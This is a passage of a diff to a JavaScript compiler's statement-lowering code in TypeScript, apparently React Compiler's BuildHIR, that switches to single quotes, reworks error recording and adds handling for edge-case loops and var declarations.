+      }).withDetails({
+        kind: 'error',
+        loc: body.node.loc ?? null,
+        message: 'Expected a block statement or expression',
+      }),
+    );
   }
 
-  if (builder.errors.hasErrors()) {
-    return Err(builder.errors);
+  let validatedId: HIRFunction['id'] = null;
+  if (id != null) {
+    const idResult = validateIdentifierName(id);
+    if (idResult.isErr()) {
+      for (const detail of idResult.unwrapErr().details) {
+        builder.recordError(detail);
+      }
+    } else {
+      validatedId = idResult.unwrap().value;
+    }
   }
 
   builder.terminate(
     {
-      kind: "return",
+      kind: 'return',
+      returnVariant: 'Void',
       loc: GeneratedSource,
       value: lowerValueToTemporary(builder, {
-        kind: "Primitive",
+        kind: 'Primitive',
         value: undefined,
         loc: GeneratedSource,
       }),
       id: makeInstructionId(0),
+      effects: null,
     },
-    null
+    null,
   );
 
-  return Ok({
-    id,
+  const hirBody = builder.build();
+
+  return {
+    id: validatedId,
+    nameHint: null,
     params,
-    fnType: parent == null ? env.fnType : "Other",
-    returnType: null, // TODO: extract the actual return type node if present
-    body: builder.build(),
+    fnType: bindings == null ? env.fnType : 'Other',
+    returnTypeAnnotation: null, // TODO: extract the actual return type node if present
+    returns: createTemporaryPlace(env, func.node.loc ?? GeneratedSource),
+    body: hirBody,
     context,
     generator: func.node.generator === true,
     async: func.node.async === true,
     loc: func.node.loc ?? GeneratedSource,
     env,
-    effects: null,
+    aliasingEffects: null,
     directives,
-  });
+  };
 }
 
 // Helper to lower a statement
 function lowerStatement(
   builder: HIRBuilder,
   stmtPath: NodePath<t.Statement>,
-  label: string | null = null
+  label: string | null = null,
 ): void {
   const stmtNode = stmtPath.node;
   switch (stmtNode.type) {
-    case "ThrowStatement": {
+    case 'ThrowStatement': {
       const stmt = stmtPath as NodePath<t.ThrowStatement>;
-      const value = lowerExpressionToTemporary(builder, stmt.get("argument"));
+      const value = lowerExpressionToTemporary(builder, stmt.get('argument'));
       const handler = builder.resolveThrowHandler();
       if (handler != null) {
         /*
@@ -244,58 +280,62 @@ function lowerStatement(
          * for control-flow and is generally considered an anti-pattern. we can likely
          * just not support this pattern, unless it really becomes necessary for some reason.
          */
-        builder.errors.push({
-          reason:
-            "(BuildHIR::lowerStatement) Support ThrowStatement inside of try/catch",
-          severity: ErrorSeverity.Todo,
-          loc: stmt.node.loc ?? null,
-          suggestions: null,
-        });
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason:
+              '(BuildHIR::lowerStatement) Support ThrowStatement inside of try/catch',
+            category: ErrorCategory.Todo,
+            loc: stmt.node.loc ?? null,
+            suggestions: null,
+          }),
+        );
       }
       const terminal: ThrowTerminal = {
-        kind: "throw",
+        kind: 'throw',
         value,
         id: makeInstructionId(0),
         loc: stmt.node.loc ?? GeneratedSource,
       };
-      builder.terminate(terminal, "block");
+      builder.terminate(terminal, 'block');
       return;
     }
-    case "ReturnStatement": {
+    case 'ReturnStatement': {
       const stmt = stmtPath as NodePath<t.ReturnStatement>;
-      const argument = stmt.get("argument");
+      const argument = stmt.get('argument');
       let value;
       if (argument.node === null) {
         value = lowerValueToTemporary(builder, {
-          kind: "Primitive",
+          kind: 'Primitive',
           value: undefined,
           loc: GeneratedSource,
         });
       } else {
         value = lowerExpressionToTemporary(
           builder,
-          argument as NodePath<t.Expression>
+          argument as NodePath<t.Expression>,
         );
       }
       const terminal: ReturnTerminal = {
-        kind: "return",
+        kind: 'return',
+        returnVariant: 'Explicit',
         loc: stmt.node.loc ?? GeneratedSource,
         value,
         id: makeInstructionId(0),
+        effects: null,
       };
-      builder.terminate(terminal, "block");
+      builder.terminate(terminal, 'block');
       return;
     }
-    case "IfStatement": {
+    case 'IfStatement': {
       const stmt = stmtPath as NodePath<t.IfStatement>;
       //  Block for code following the if
-      const continuationBlock = builder.reserve("block");
+      const continuationBlock = builder.reserve('block');
       //  Block for the consequent (if the test is truthy)
-      const consequentBlock = builder.enter("block", (_blockId) => {
-        const consequent = stmt.get("consequent");
+      const consequentBlock = builder.enter('block', _blockId => {
+        const consequent = stmt.get('consequent');
         lowerStatement(builder, consequent);
         return {
-          kind: "goto",
+          kind: 'goto',
           block: continuationBlock.id,
           variant: GotoVariant.Break,
           id: makeInstructionId(0),
@@ -304,12 +344,12 @@ function lowerStatement(
       });
       //  Block for the alternate (if the test is not truthy)
       let alternateBlock: BlockId;
-      const alternate = stmt.get("alternate");
+      const alternate = stmt.get('alternate');
       if (hasNode(alternate)) {
-        alternateBlock = builder.enter("block", (_blockId) => {
+        alternateBlock = builder.enter('block', _blockId => {
           lowerStatement(builder, alternate);
           return {
-            kind: "goto",
+            kind: 'goto',
             block: continuationBlock.id,
             variant: GotoVariant.Break,
             id: makeInstructionId(0),
@@ -320,9 +360,9 @@ function lowerStatement(
         //  If there is no else clause, use the continuation directly
         alternateBlock = continuationBlock.id;
       }
-      const test = lowerExpressionToTemporary(builder, stmt.get("test"));
+      const test = lowerExpressionToTemporary(builder, stmt.get('test'));
       const terminal: IfTerminal = {
-        kind: "if",
+        kind: 'if',
         test,
         consequent: consequentBlock,
         alternate: alternateBlock,
@@ -333,9 +373,9 @@ function lowerStatement(
       builder.terminateWithContinuation(terminal, continuationBlock);
       return;
     }
-    case "BlockStatement": {
+    case 'BlockStatement': {
       const stmt = stmtPath as NodePath<t.BlockStatement>;
-      const statements = stmt.get("body");
+      const statements = stmt.get('body');
       /**
        * Hoistable identifier bindings defined for this precise block
        * scope (excluding bindings from parent or child block scopes).
@@ -344,7 +384,7 @@ function lowerStatement(
 
       for (const [, binding] of Object.entries(stmt.scope.bindings)) {
         // refs to params are always valid / never need to be hoisted
-        if (binding.kind !== "param") {
+        if (binding.kind !== 'param') {
           hoistableIdentifiers.add(binding.identifier);
         }
       }
@@ -374,7 +414,7 @@ function lowerStatement(
             if (
               !id2.isReferencedIdentifier() &&
               // isReferencedIdentifier is broken and returns false for reassignments
-              id.parent.type !== "AssignmentExpression"
+              id.parent.type !== 'AssignmentExpression'
             ) {
               return;
             }
@@ -388,7 +428,7 @@ function lowerStatement(
             if (
               binding != null &&
               hoistableIdentifiers.has(binding.identifier) &&
-              (fnDepth > 0 || binding.kind === "hoisted")
+              (fnDepth > 0 || binding.kind === 'hoisted')
             ) {
               willHoist.add(id);
             }
@@ -409,63 +449,67 @@ function lowerStatement(
         for (const id of willHoist) {
           const binding = stmt.scope.getBinding(id.node.name);
           CompilerError.invariant(binding != null, {
-            reason: "Expected to find binding for hoisted identifier",
+            reason: 'Expected to find binding for hoisted identifier',
             description: `Could not find a binding for ${id.node.name}`,
-            suggestions: null,
             loc: id.node.loc ?? GeneratedSource,
           });
           if (builder.environment.isHoistedIdentifier(binding.identifier)) {
             // Already hoisted
             continue;
           }
-          if (!binding.path.isVariableDeclarator()) {
-            builder.errors.push({
-              severity: ErrorSeverity.Todo,
-              reason: "Unsupported declaration type for hoisting",
-              description: `variable "${binding.identifier.name}" declared with ${binding.path.type}`,
-              suggestions: null,
-              loc: id.parentPath.node.loc ?? GeneratedSource,
-            });
-            continue;
-          } else if (!binding.path.get("id").isIdentifier()) {
-            builder.errors.push({
-              severity: ErrorSeverity.Todo,
-              reason: "Unsupported variable declaration type for hoisting",
-              description: `variable "${
-                binding.identifier.name
-              }" declared with ${binding.path.get("id").type}`,
-              suggestions: null,
-              loc: id.parentPath.node.loc ?? GeneratedSource,
-            });
+
+          let kind:
+            | InstructionKind.Let
+            | InstructionKind.HoistedConst
+            | InstructionKind.HoistedLet
+            | InstructionKind.HoistedFunction;
+          if (binding.kind === 'const' || binding.kind === 'var') {
+            kind = InstructionKind.HoistedConst;
+          } else if (binding.kind === 'let') {
+            kind = InstructionKind.HoistedLet;
+          } else if (binding.path.isFunctionDeclaration()) {
+            kind = InstructionKind.HoistedFunction;
+          } else if (!binding.path.isVariableDeclarator()) {
+            builder.recordError(
+              new CompilerErrorDetail({
+                category: ErrorCategory.Todo,
+                reason: 'Unsupported declaration type for hoisting',
+                description: `variable "${binding.identifier.name}" declared with ${binding.path.type}`,
+                suggestions: null,
+                loc: id.parentPath.node.loc ?? GeneratedSource,
+              }),
+            );
             continue;
-          } else if (binding.kind !== "const" && binding.kind !== "var") {
-            // Avoid double errors on var declarations, which we do not plan to support anyways
-            builder.errors.push({
-              severity: ErrorSeverity.Todo,
-              reason: "Handle non-const declarations for hoisting",
-              description: `variable "${binding.identifier.name}" declared with ${binding.kind}`,
-              suggestions: null,
-              loc: id.parentPath.node.loc ?? GeneratedSource,
-            });
+          } else {
+            builder.recordError(
+              new CompilerErrorDetail({
+                category: ErrorCategory.Todo,
+                reason: 'Handle non-const declarations for hoisting',
+                description: `variable "${binding.identifier.name}" declared with ${binding.kind}`,
+                suggestions: null,
+                loc: id.parentPath.node.loc ?? GeneratedSource,
+              }),
+            );
             continue;
           }
+
           const identifier = builder.resolveIdentifier(id);
-          CompilerError.invariant(identifier.kind === "Identifier", {
+          CompilerError.invariant(identifier.kind === 'Identifier', {
             reason:
-              "Expected hoisted binding to be a local identifier, not a global",
+              'Expected hoisted binding to be a local identifier, not a global',
             loc: id.node.loc ?? GeneratedSource,
           });
           const place: Place = {
             effect: Effect.Unknown,
             identifier: identifier.identifier,
-            kind: "Identifier",
+            kind: 'Identifier',
             reactive: false,
             loc: id.node.loc ?? GeneratedSource,
           };
           lowerValueToTemporary(builder, {
-            kind: "DeclareContext",
+            kind: 'DeclareContext',
             lvalue: {
-              kind: InstructionKind.HoistedConst,
+              kind,
               place,
             },
             loc: id.node.loc ?? GeneratedSource,
@@ -477,62 +521,88 @@ function lowerStatement(
 
       return;
     }
-    case "BreakStatement": {
+    case 'BreakStatement': {
       const stmt = stmtPath as NodePath<t.BreakStatement>;
       const block = builder.lookupBreak(stmt.node.label?.name ?? null);
       builder.terminate(
         {
-          kind: "goto",
+          kind: 'goto',
           block,
           variant: GotoVariant.Break,
           id: makeInstructionId(0),
           loc: stmt.node.loc ?? GeneratedSource,
         },
-        "block"
+        'block',
       );
       return;
     }
-    case "ContinueStatement": {
+    case 'ContinueStatement': {
       const stmt = stmtPath as NodePath<t.ContinueStatement>;
       const block = builder.lookupContinue(stmt.node.label?.name ?? null);
       builder.terminate(
         {
-          kind: "goto",
+          kind: 'goto',
           block,
           variant: GotoVariant.Continue,
           id: makeInstructionId(0),
           loc: stmt.node.loc ?? GeneratedSource,
         },
-        "block"
+        'block',
       );
       return;
     }
-    case "ForStatement": {
+    case 'ForStatement': {
       const stmt = stmtPath as NodePath<t.ForStatement>;
 
-      const testBlock = builder.reserve("loop");
+      const testBlock = builder.reserve('loop');
       //  Block for code following the loop
-      const continuationBlock = builder.reserve("block");
+      const continuationBlock = builder.reserve('block');
 
-      const initBlock = builder.enter("loop", (_blockId) => {
-        const init = stmt.get("init");
-        if (!init.isVariableDeclaration()) {
-          builder.errors.push({
-            reason:
-              "(BuildHIR::lowerStatement) Handle non-variable initialization in ForStatement",
-            severity: ErrorSeverity.Todo,
-            loc: stmt.node.loc ?? null,
-            suggestions: null,
+      const initBlock = builder.enter('loop', _blockId => {
+        const init = stmt.get('init');
+        if (init.node == null) {
+          /*
+           * No init expression (e.g., `for (; ...)`), add a placeholder to avoid
+           * invariant about empty blocks
+           */
+          lowerValueToTemporary(builder, {
+            kind: 'Primitive',
+            value: undefined,
+            loc: stmt.node.loc ?? GeneratedSource,
           });
           return {
-            kind: "unsupported",
+            kind: 'goto',
+            block: testBlock.id,
+            variant: GotoVariant.Break,
+            id: makeInstructionId(0),
+            loc: stmt.node.loc ?? GeneratedSource,
+          };
+        }
+        if (!init.isVariableDeclaration()) {
+          builder.recordError(
+            new CompilerErrorDetail({
+              reason:
+                '(BuildHIR::lowerStatement) Handle non-variable initialization in ForStatement',
+              category: ErrorCategory.Todo,
+              loc: stmt.node.loc ?? null,
+              suggestions: null,
+            }),
+          );
+          // Lower the init expression as best-effort and continue
+          if (init.isExpression()) {
+            lowerExpressionToTemporary(builder, init as NodePath<t.Expression>);
+          }
+          return {
+            kind: 'goto',
+            block: testBlock.id,
+            variant: GotoVariant.Break,
             id: makeInstructionId(0),
             loc: init.node?.loc ?? GeneratedSource,
           };
         }
         lowerStatement(builder, init);
         return {
-          kind: "goto",
+          kind: 'goto',
           block: testBlock.id,
           variant: GotoVariant.Break,
           id: makeInstructionId(0),
@@ -541,12 +611,12 @@ function lowerStatement(
       });
 
       let updateBlock: BlockId | null = null;
-      const update = stmt.get("update");
+      const update = stmt.get('update');
       if (hasNode(update)) {
-        updateBlock = builder.enter("loop", (_blockId) => {
+        updateBlock = builder.enter('loop', _blockId => {
           lowerExpressionToTemporary(builder, update);
           return {
-            kind: "goto",
+            kind: 'goto',
             block: testBlock.id,
             variant: GotoVariant.Break,
             id: makeInstructionId(0),
@@ -555,28 +625,28 @@ function lowerStatement(
         });
       }
 
-      const bodyBlock = builder.enter("block", (_blockId) => {
+      const bodyBlock = builder.enter('block', _blockId => {
         return builder.loop(
           label,
           updateBlock ?? testBlock.id,
           continuationBlock.id,
           () => {
-            const body = stmt.get("body");
+            const body = stmt.get('body');
             lowerStatement(builder, body);
             return {
-              kind: "goto",
+              kind: 'goto',
               block: updateBlock ?? testBlock.id,
               variant: GotoVariant.Continue,
               id: makeInstructionId(0),
               loc: body.node.loc ?? GeneratedSource,
             };
-          }
+          },
         );
       });
 
       builder.terminateWithContinuation(
         {
-          kind: "for",
+          kind: 'for',
           loc: stmtNode.loc ?? GeneratedSource,
           init: initBlock,
           test: testBlock.id,
@@ -585,58 +655,78 @@ function lowerStatement(
           fallthrough: continuationBlock.id,
           id: makeInstructionId(0),
         },
-        testBlock
+        testBlock,
       );
 
-      const test = stmt.get("test");
+      const test = stmt.get('test');
       if (test.node == null) {
-        builder.errors.push({
-          reason: `(BuildHIR::lowerStatement) Handle empty test in ForStatement`,
-          severity: ErrorSeverity.Todo,
-          loc: stmt.node.loc ?? null,
-          suggestions: null,
-        });
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason: `(BuildHIR::lowerStatement) Handle empty test in ForStatement`,
+            category: ErrorCategory.Todo,
+            loc: stmt.node.loc ?? null,
+            suggestions: null,
+          }),
+        );
+        // Treat `for(;;)` as `while(true)` to keep the builder state consistent
+        builder.terminateWithContinuation(
+          {
+            kind: 'branch',
+            test: lowerValueToTemporary(builder, {
+              kind: 'Primitive',
+              value: true,
+              loc: stmt.node.loc ?? GeneratedSource,
+            }),
+            consequent: bodyBlock,
+            alternate: continuationBlock.id,
+            fallthrough: continuationBlock.id,
+            id: makeInstructionId(0),
+            loc: stmt.node.loc ?? GeneratedSource,
+          },
+          continuationBlock,
+        );
       } else {
         builder.terminateWithContinuation(
           {
-            kind: "branch",
+            kind: 'branch',
             test: lowerExpressionToTemporary(
               builder,
-              test as NodePath<t.Expression>
+              test as NodePath<t.Expression>,
             ),
             consequent: bodyBlock,
             alternate: continuationBlock.id,
+            fallthrough: continuationBlock.id,
             id: makeInstructionId(0),
             loc: stmt.node.loc ?? GeneratedSource,
           },
-          continuationBlock
+          continuationBlock,
         );
       }
       return;
     }
-    case "WhileStatement": {
+    case 'WhileStatement': {
       const stmt = stmtPath as NodePath<t.WhileStatement>;
       //  Block used to evaluate whether to (re)enter or exit the loop
-      const conditionalBlock = builder.reserve("loop");
+      const conditionalBlock = builder.reserve('loop');
       //  Block for code following the loop
-      const continuationBlock = builder.reserve("block");
+      const continuationBlock = builder.reserve('block');
       //  Loop body
-      const loopBlock = builder.enter("block", (_blockId) => {
+      const loopBlock = builder.enter('block', _blockId => {
         return builder.loop(
           label,
           conditionalBlock.id,
           continuationBlock.id,
           () => {
-            const body = stmt.get("body");
+            const body = stmt.get('body');
             lowerStatement(builder, body);
             return {
-              kind: "goto",
+              kind: 'goto',
               block: conditionalBlock.id,
               variant: GotoVariant.Continue,
               id: makeInstructionId(0),
               loc: body.node.loc ?? GeneratedSource,
             };
-          }
+          },
         );
       });
       /*
@@ -646,25 +736,22 @@ function lowerStatement(
       const loc = stmt.node.loc ?? GeneratedSource;
       builder.terminateWithContinuation(
         {
-          kind: "while",
+          kind: 'while',
           loc,
           test: conditionalBlock.id,
           loop: loopBlock,
           fallthrough: continuationBlock.id,
           id: makeInstructionId(0),
         },
-        conditionalBlock
+        conditionalBlock,
       );
-      /*
-       * The conditional block is empty and exists solely as conditional for
-       * (re)entering or exiting the loop
-       */
-      const test = lowerExpressionToTemporary(builder, stmt.get("test"));
+      const test = lowerExpressionToTemporary(builder, stmt.get('test'));
       const terminal: BranchTerminal = {
-        kind: "branch",
+        kind: 'branch',
         test,
         consequent: loopBlock,
         alternate: continuationBlock.id,
+        fallthrough: conditionalBlock.id,
         id: makeInstructionId(0),
         loc: stmt.node.loc ?? GeneratedSource,
       };
@@ -672,21 +759,21 @@ function lowerStatement(
       builder.terminateWithContinuation(terminal, continuationBlock);
       return;
     }
-    case "LabeledStatement": {
+    case 'LabeledStatement': {
       const stmt = stmtPath as NodePath<t.LabeledStatement>;
       const label = stmt.node.label.name;
-      const body = stmt.get("body");
+      const body = stmt.get('body');
       switch (body.node.type) {
-        case "ForInStatement":
-        case "ForOfStatement":
-        case "ForStatement":
-        case "WhileStatement":
-        case "DoWhileStatement": {
+        case 'ForInStatement':
+        case 'ForOfStatement':
+        case 'ForStatement':
+        case 'WhileStatement':
+        case 'DoWhileStatement': {
           /*
            * labeled loops are special because of continue, so push the label
            * down
            */
-          lowerStatement(builder, stmt.get("body"), label);
+          lowerStatement(builder, stmt.get('body'), label);
           break;
         }
         default: {
@@ -694,14 +781,14 @@ function lowerStatement(
            * All other statements create a continuation block to allow `break`,
            * explicitly *don't* pass the label down
            */
-          const continuationBlock = builder.reserve("block");
-          const block = builder.enter("block", () => {
-            const body = stmt.get("body");
+          const continuationBlock = builder.reserve('block');
+          const block = builder.enter('block', () => {
+            const body = stmt.get('body');
             builder.label(label, continuationBlock.id, () => {
               lowerStatement(builder, body);
             });
             return {
-              kind: "goto",
+              kind: 'goto',
               block: continuationBlock.id,
               variant: GotoVariant.Break,
               id: makeInstructionId(0),
@@ -710,22 +797,22 @@ function lowerStatement(
           });
           builder.terminateWithContinuation(
             {
-              kind: "label",
+              kind: 'label',
               block,
               fallthrough: continuationBlock.id,
               id: makeInstructionId(0),
               loc: stmt.node.loc ?? GeneratedSource,
             },
-            continuationBlock
+            continuationBlock,
           );
         }
       }
       return;
     }
-    case "SwitchStatement": {
+    case 'SwitchStatement': {
       const stmt = stmtPath as NodePath<t.SwitchStatement>;
       //  Block following the switch
-      const continuationBlock = builder.reserve("block");
+      const continuationBlock = builder.reserve('block');
       /*
        * The goto target for any cases that fallthrough, which initially starts
        * as the continuation block and is then updated as we iterate through cases
@@ -738,32 +825,34 @@ function lowerStatement(
        */
       const cases: Array<Case> = [];
       let hasDefault = false;
-      for (let ii = stmt.get("cases").length - 1; ii >= 0; ii--) {
-        const case_: NodePath<t.SwitchCase> = stmt.get("cases")[ii];
-        const testExpr = case_.get("test");
+      for (let ii = stmt.get('cases').length - 1; ii >= 0; ii--) {
+        const case_: NodePath<t.SwitchCase> = stmt.get('cases')[ii];
+        const testExpr = case_.get('test');
         if (testExpr.node == null) {
           if (hasDefault) {
-            builder.errors.push({
-              reason: `Expected at most one \`default\` branch in a switch statement, this code should have failed to parse`,
-              severity: ErrorSeverity.InvalidJS,
-              loc: case_.node.loc ?? null,
-              suggestions: null,
-            });
+            builder.recordError(
+              new CompilerErrorDetail({
+                reason: `Expected at most one \`default\` branch in a switch statement, this code should have failed to parse`,
+                category: ErrorCategory.Syntax,
+                loc: case_.node.loc ?? null,
+                suggestions: null,
+              }),
+            );
             break;
           }
           hasDefault = true;
         }
-        const block = builder.enter("block", (_blockId) => {
+        const block = builder.enter('block', _blockId => {
           return builder.switch(label, continuationBlock.id, () => {
             case_
-              .get("consequent")
-              .forEach((consequent) => lowerStatement(builder, consequent));
+              .get('consequent')
+              .forEach(consequent => lowerStatement(builder, consequent));
             /*
              * always generate a fallthrough to the next block, this may be dead code
              * if there was an explicit break, but if so it will be pruned later.
              */
             return {
-              kind: "goto",
+              kind: 'goto',
               block: fallthrough,
               variant: GotoVariant.Break,
               id: makeInstructionId(0),
@@ -791,43 +880,47 @@ function lowerStatement(
        * could bypass any of the other cases and jump directly to the continuation.
        */
       if (!hasDefault) {
-        cases.push({ test: null, block: continuationBlock.id });
+        cases.push({test: null, block: continuationBlock.id});
       }
 
       const test = lowerExpressionToTemporary(
         builder,
-        stmt.get("discriminant")
+        stmt.get('discriminant'),
       );
       builder.terminateWithContinuation(
         {
-          kind: "switch",
+          kind: 'switch',
           test,
           cases,
           fallthrough: continuationBlock.id,
           id: makeInstructionId(0),
           loc: stmt.node.loc ?? GeneratedSource,
         },
-        continuationBlock
+        continuationBlock,
       );
       return;
     }
-    case "VariableDeclaration": {
+    case 'VariableDeclaration': {
       const stmt = stmtPath as NodePath<t.VariableDeclaration>;
-      const nodeKind: t.VariableDeclaration["kind"] = stmt.node.kind;
-      if (nodeKind === "var") {
-        builder.errors.push({
-          reason: `(BuildHIR::lowerStatement) Handle ${nodeKind} kinds in VariableDeclaration`,
-          severity: ErrorSeverity.Todo,
-          loc: stmt.node.loc ?? null,
-          suggestions: null,
-        });
-        return;
+      const nodeKind: t.VariableDeclaration['kind'] = stmt.node.kind;
+      if (nodeKind === 'var') {
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason: `(BuildHIR::lowerStatement) Handle ${nodeKind} kinds in VariableDeclaration`,
+            category: ErrorCategory.Todo,
+            loc: stmt.node.loc ?? null,
+            suggestions: null,
+          }),
+        );
+        // Treat `var` as `let` so references to the variable don't break
       }
       const kind =
-        nodeKind === "let" ? InstructionKind.Let : InstructionKind.Const;
-      for (const declaration of stmt.get("declarations")) {
-        const id = declaration.get("id");
-        const init = declaration.get("init");
+        nodeKind === 'let' || nodeKind === 'var'
+          ? InstructionKind.Let
+          : InstructionKind.Const;
+      for (const declaration of stmt.get('declarations')) {
+        const id = declaration.get('id');
+        const init = declaration.get('init');
         if (hasNode(init)) {
           const value = lowerExpressionToTemporary(builder, init);
           lowerAssignment(
@@ -837,45 +930,49 @@ function lowerStatement(
             id,
             value,
             id.isObjectPattern() || id.isArrayPattern()
-              ? "Destructure"
-              : "Assignment"
+              ? 'Destructure'
+              : 'Assignment',
           );
         } else if (id.isIdentifier()) {
           const binding = builder.resolveIdentifier(id);
-          if (binding.kind !== "Identifier") {
-            builder.errors.push({
-              reason: `(BuildHIR::lowerAssignment) Could not find binding for declaration.`,
-              severity: ErrorSeverity.Invariant,
-              loc: id.node.loc ?? null,
-              suggestions: null,
-            });
+          if (binding.kind !== 'Identifier') {
+            builder.recordError(
+              new CompilerErrorDetail({
+                reason: `(BuildHIR::lowerAssignment) Could not find binding for declaration.`,
+                category: ErrorCategory.Invariant,
+                loc: id.node.loc ?? null,
+                suggestions: null,
+              }),
+            );
           } else {
             const place: Place = {
               effect: Effect.Unknown,
               identifier: binding.identifier,
-              kind: "Identifier",
+              kind: 'Identifier',
               reactive: false,
               loc: id.node.loc ?? GeneratedSource,
             };
             if (builder.isContextIdentifier(id)) {
               if (kind === InstructionKind.Const) {
                 const declRangeStart = declaration.parentPath.node.start!;
-                builder.errors.push({
-                  reason: `Expect \`const\` declaration not to be reassigned`,
-                  severity: ErrorSeverity.InvalidJS,
-                  loc: id.node.loc ?? null,
-                  suggestions: [
-                    {
-                      description: "Change to a `let` declaration",
-                      op: CompilerSuggestionOperation.Replace,
-                      range: [declRangeStart, declRangeStart + 5], // "const".length
-                      text: "let",
-                    },
-                  ],
-                });
+                builder.recordError(
+                  new CompilerErrorDetail({
+                    reason: `Expect \`const\` declaration not to be reassigned`,
+                    category: ErrorCategory.Syntax,
+                    loc: id.node.loc ?? null,
+                    suggestions: [
+                      {
+                        description: 'Change to a `let` declaration',
+                        op: CompilerSuggestionOperation.Replace,
+                        range: [declRangeStart, declRangeStart + 5], // "const".length
+                        text: 'let',
+                      },
+                    ],
+                  }),
+                );
               }
               lowerValueToTemporary(builder, {
-                kind: "DeclareContext",
+                kind: 'DeclareContext',
                 lvalue: {
                   kind: InstructionKind.Let,
                   place,
@@ -883,19 +980,19 @@ function lowerStatement(
                 loc: id.node.loc ?? GeneratedSource,
               });
             } else {
-              const typeAnnotation = id.get("typeAnnotation");
+              const typeAnnotation = id.get('typeAnnotation');
               let type: t.FlowType | t.TSType | null;
               if (typeAnnotation.isTSTypeAnnotation()) {
-                const typePath = typeAnnotation.get("typeAnnotation");
+                const typePath = typeAnnotation.get('typeAnnotation');
                 type = typePath.node;
               } else if (typeAnnotation.isTypeAnnotation()) {
-                const typePath = typeAnnotation.get("typeAnnotation");
+                const typePath = typeAnnotation.get('typeAnnotation');
                 type = typePath.node;
               } else {
                 type = null;
               }
               lowerValueToTemporary(builder, {
-                kind: "DeclareLocal",
+                kind: 'DeclareLocal',
                 lvalue: {
                   kind,
                   place,
@@ -906,46 +1003,48 @@ function lowerStatement(
             }
           }
         } else {
-          builder.errors.push({
-            reason: `Expected variable declaration to be an identifier if no initializer was provided`,
-            description: `Got a \`${id.type}\``,
-            severity: ErrorSeverity.InvalidJS,
-            loc: stmt.node.loc ?? null,
-            suggestions: null,
-          });
+          builder.recordError(
+            new CompilerErrorDetail({
+              reason: `Expected variable declaration to be an identifier if no initializer was provided`,
+              description: `Got a \`${id.type}\``,
+              category: ErrorCategory.Syntax,
+              loc: stmt.node.loc ?? null,
+              suggestions: null,
+            }),
+          );
         }
       }
       return;
     }
-    case "ExpressionStatement": {
+    case 'ExpressionStatement': {
       const stmt = stmtPath as NodePath<t.ExpressionStatement>;
-      const expression = stmt.get("expression");
+      const expression = stmt.get('expression');
       lowerExpressionToTemporary(builder, expression);
       return;
     }
-    case "DoWhileStatement": {
+    case 'DoWhileStatement': {
       const stmt = stmtPath as NodePath<t.DoWhileStatement>;
       //  Block used to evaluate whether to (re)enter or exit the loop
-      const conditionalBlock = builder.reserve("loop");
+      const conditionalBlock = builder.reserve('loop');
       //  Block for code following the loop
-      const continuationBlock = builder.reserve("block");
+      const continuationBlock = builder.reserve('block');
       //  Loop body, executed at least once uncondtionally prior to exit
-      const loopBlock = builder.enter("block", (_loopBlockId) => {
+      const loopBlock = builder.enter('block', _loopBlockId => {
         return builder.loop(
           label,
           conditionalBlock.id,
           continuationBlock.id,
           () => {
-            const body = stmt.get("body");
+            const body = stmt.get('body');
             lowerStatement(builder, body);
             return {
-              kind: "goto",
+              kind: 'goto',
               block: conditionalBlock.id,
               variant: GotoVariant.Continue,
               id: makeInstructionId(0),
               loc: body.node.loc ?? GeneratedSource,
             };
-          }
+          },
         );
       });
       /*
@@ -955,25 +1054,26 @@ function lowerStatement(
       const loc = stmt.node.loc ?? GeneratedSource;
       builder.terminateWithContinuation(
         {
-          kind: "do-while",
+          kind: 'do-while',
           loc,
           test: conditionalBlock.id,
           loop: loopBlock,
           fallthrough: continuationBlock.id,
           id: makeInstructionId(0),
         },
-        conditionalBlock
+        conditionalBlock,
       );
       /*
        * The conditional block is empty and exists solely as conditional for
        * (re)entering or exiting the loop
        */
-      const test = lowerExpressionToTemporary(builder, stmt.get("test"));
+      const test = lowerExpressionToTemporary(builder, stmt.get('test'));
       const terminal: BranchTerminal = {
-        kind: "branch",
+        kind: 'branch',
         test,
         consequent: loopBlock,
         alternate: continuationBlock.id,
+        fallthrough: conditionalBlock.id,
         id: makeInstructionId(0),
         loc,
       };
@@ -981,54 +1081,54 @@ function lowerStatement(
       builder.terminateWithContinuation(terminal, continuationBlock);
       return;
     }
-    case "FunctionDeclaration": {
+    case 'FunctionDeclaration': {
       const stmt = stmtPath as NodePath<t.FunctionDeclaration>;
       stmt.skip();
-      CompilerError.invariant(stmt.get("id").type === "Identifier", {
-        reason: "function declarations must have a name",
-        description: null,
-        loc: stmt.node.loc ?? null,
-        suggestions: null,
+      CompilerError.invariant(stmt.get('id').type === 'Identifier', {
+        reason: 'function declarations must have a name',
+        loc: stmt.node.loc ?? GeneratedSource,
       });
-      const id = stmt.get("id") as NodePath<t.Identifier>;
+      const id = stmt.get('id') as NodePath<t.Identifier>;
 
       const fn = lowerValueToTemporary(
         builder,
-        lowerFunctionToValue(builder, stmt)
+        lowerFunctionToValue(builder, stmt),
       );
       lowerAssignment(
         builder,
         stmt.node.loc ?? GeneratedSource,
-        InstructionKind.Let,
+        InstructionKind.Function,
         id,
         fn,
-        "Assignment"
+        'Assignment',
       );
 
       return;
     }
-    case "ForOfStatement": {
+    case 'ForOfStatement': {
       const stmt = stmtPath as NodePath<t.ForOfStatement>;
-      const continuationBlock = builder.reserve("block");
-      const initBlock = builder.reserve("loop");
-      const testBlock = builder.reserve("loop");
+      const continuationBlock = builder.reserve('block');
+      const initBlock = builder.reserve('loop');
+      const testBlock = builder.reserve('loop');
 
       if (stmt.node.await) {
-        builder.errors.push({
-          reason: `(BuildHIR::lowerStatement) Handle for-await loops`,
-          severity: ErrorSeverity.Todo,
-          loc: stmt.node.loc ?? null,
-          suggestions: null,
-        });
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason: `(BuildHIR::lowerStatement) Handle for-await loops`,
+            category: ErrorCategory.Todo,
+            loc: stmt.node.loc ?? null,
+            suggestions: null,
+          }),
+        );
         return;
       }
 
-      const loopBlock = builder.enter("block", (_blockId) => {
+      const loopBlock = builder.enter('block', _blockId => {
         return builder.loop(label, initBlock.id, continuationBlock.id, () => {
-          const body = stmt.get("body");
+          const body = stmt.get('body');
           lowerStatement(builder, body);
           return {
-            kind: "goto",
+            kind: 'goto',
             block: initBlock.id,
             variant: GotoVariant.Continue,
             id: makeInstructionId(0),
@@ -1038,10 +1138,10 @@ function lowerStatement(
       });
 
       const loc = stmt.node.loc ?? GeneratedSource;
-      const value = lowerExpressionToTemporary(builder, stmt.get("right"));
